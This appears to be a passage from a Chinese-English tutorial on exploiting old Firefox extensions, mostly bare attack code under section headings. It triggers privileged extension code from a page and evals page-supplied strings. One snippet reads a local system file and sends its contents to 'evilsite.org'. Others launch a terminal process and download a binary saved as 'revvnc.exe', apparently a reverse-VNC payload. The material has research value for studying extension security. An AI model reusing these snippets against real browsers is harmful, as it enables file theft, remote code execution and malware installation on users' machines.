Malicious Web Location Code
<html>
<head>
<title>Test</title>
<script>
var element =
document.createElement("CustomExtensionDataElement");
element.setAttribute("url","chrome://hellooworld/content/q1.xul");
document.documentElement.appendChild(element);
var evt = document.createEvent("Events");
evt.initEvent("CustomEvent",true,false);
element.dispatchEvent(evt);
</script>
</head>
<body>
<p>
This Test Page </p>
</body>
</htmL>
五、Bypassing Wrappers
Extension Code
function Test_Function()
{
test = my_message
if (test==null)
{
alert("Wrapper Exists")
}
else{
alert(test);
trim =
window.content.wrappedJSObject.my_message1
eval(trim);
}
}
var fileToRead=”file:///C:/boot.ini”;
var fileContents=document.ReadURL.readFile(fileToRead);
setTimeout(“”,100);
var remoteLocation=”http://evilsite.org/” + unescape(fileContents);
document.location=remoteLocation;
七、远程代码执行
var lFile = Components.classes["@mozilla.org/file/local;1"].
createInstance(Components.interfaces.nsILocalFile);
var lPath = "/usr/bin/gnome-terminal";
lFile.initWithPath(lPath);
var process = Components.classes["@mozilla.org/process/util;1"].
createInstance(Components.interfaces.nsIProcess);
process.init(lFile);
process.run(false,'','');
八、写文件系统
var xmlhttp;
function loadXMLDoc(url){
xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET",url,false);
xmlhttp.overrideMimeType('text/plain; charset=x-user-defined');
xmlhttp.send(null);
if (xmlhttp.status==200){
setTimeout("",300);
makefile(xmlhttp.responseText);
}
}
function makefile(bdata){
var getWorkingDir= Components.classes["@mozilla.org/file/directory_service;1"].
getService(Components.interfaces.nsIProperties).
get("Home", Components.interfaces.nsIFile);
var aFile = Components.classes["@mozilla.org/file/local;1"].
createInstance(Components.interfaces.nsILocalFile);
aFile.initWithPath( getWorkingDir.path + "\\revvnc.exe" );
aFile.createUnique( Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 777);
var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"].
createInstance(Components.interfaces.nsIFileOutputStream);
stream.init(aFile, 0x04 | 0x08 | 0x20, 0777, 0);
stream.write(bdata, bdata.length);
if (stream instanceof Components.interfaces.nsISafeOutputStream){
stream.finish();
} else{
stream.close();
}
}
